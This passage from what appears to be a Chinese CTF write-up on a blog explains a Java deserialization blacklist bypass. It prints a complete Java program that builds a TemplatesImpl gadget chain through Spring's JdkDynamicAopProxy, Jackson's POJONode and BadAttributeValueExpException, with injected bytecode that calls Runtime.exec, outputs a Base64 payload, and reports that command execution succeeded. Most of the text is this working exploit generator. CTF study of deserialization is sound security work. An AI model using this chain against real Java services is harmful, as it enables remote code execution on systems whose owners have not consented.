所以我们要找其他的gadet片段替换绕过,找的是toString方法->getter方法 image-20241124191825457图片 反序列化,类被禁用找其他gadet推荐项目:LxxxSec/CTF-Java-Gadget: CTF-Java-Gadget专注于收集CTF中Java赛题的反序列化片段 从这个项目中找到下面的反序列化链 image-20241124192337017图片 package com.ctf.byp4ss.controller; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import org.springframework.aop.framework.AdvisedSupport; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Base64; public class POJOJackson { public static void main(String[] args) throws Exception{ byte[] code = getTemplates(); byte[][] codes = {code}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "useless"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", codes); // 删除 BaseJsonNode#writeReplace 方法用于顺利序列化 ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace"); ctClass0.removeMethod(writeReplace); ctClass0.toClass(); POJONode node = new POJONode(makeTemplatesImplAopProxy(templates)); BadAttributeValueExpException bave = new BadAttributeValueExpException(null); setFieldValue(bave, "val", node); byte[] bytes = serialize(bave); System.out.println(Base64.getEncoder().encodeToString(bytes)); } public static byte[] serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); } public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templates); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); return proxy; } public static byte[] getTemplates() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("MyTemplate"); template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String block = "Runtime.getRuntime().exec(\"calc\");"; template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } }生成传入命令执行成功 image-20241124192140974图片
易航博客